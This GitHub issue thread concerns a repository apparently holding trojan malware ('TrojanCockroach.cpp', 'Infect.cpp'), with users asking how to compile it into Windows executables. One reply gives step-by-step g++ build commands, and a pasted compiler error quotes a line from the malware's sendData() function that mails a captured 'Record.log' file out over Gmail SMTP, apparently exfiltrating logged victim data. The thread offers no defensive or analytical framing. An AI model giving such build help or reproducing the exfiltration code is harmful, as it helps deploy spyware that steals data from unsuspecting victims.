Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how to Compile cpp to exe #9

Open
gil126 opened this issue Jan 26, 2019 · 3 comments
Open

how to Compile cpp to exe #9

gil126 opened this issue Jan 26, 2019 · 3 comments

Comments

@gil126
Copy link

gil126 commented Jan 26, 2019

how to change rojanCockroach.cpp & Infect.cpp to exe?

@ghost
Copy link

ghost commented Jan 26, 2019

You have to compile the code with a C++ compiler.
I'm using the TDM-GCC MinGW compiler which you can download from this link: https://sourceforge.net/projects/tdm-gcc/

Once you download and install the compiler, you need to open the cmd, navigate to the folder containing the .cpp files using the "cd" command, and then execute these commands:

g++ -o NewFileName TrojanCockroach.cpp
g++ -o NewFileName Infect.cpp

Change "NewFileName" to w/e you want to name each exe file.

The exe files will appear in the same folder.

@4raider
Copy link

4raider commented Sep 30, 2020

Following te instruction to build the exe file wasn't successful with this error. Any tips on what should be done

'int main()': 72:5: error: return-statement with no value, in function returning 'int' [-fpermissive] 72 | return; | ^~~~~~ : In function 'void sendData()': 141:21: warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings] 141 | char* command = "Transmit smtp://smtp.gmail.com:587 -v --mail-from "@gmail.com" --mail-rcpt "@gmail.com" --ssl -u @gmail.com:pass -T "Record.log" -k --anyauth"; | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ In function 'char* getRandomName()': 311:12: warning: address of local variable 'randomName' returned [-Wreturn-local-addr] 311 | return randomName; | ^~~~~~~~~~ 272:10: note: declared here 272 | char randomName[40]; | ^~~~~~~~~~ PS C:\Users> g++ -o cast Infect.cpp Infect.cpp: In function 'int main()': Infect.cpp:30:9: error: return-statement with no value, in function returning 'int' [-fpermissive] 30 | return;

@Raymondikemu
Copy link

how do i set up my “gcc gcctest. c -o gcctest”

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants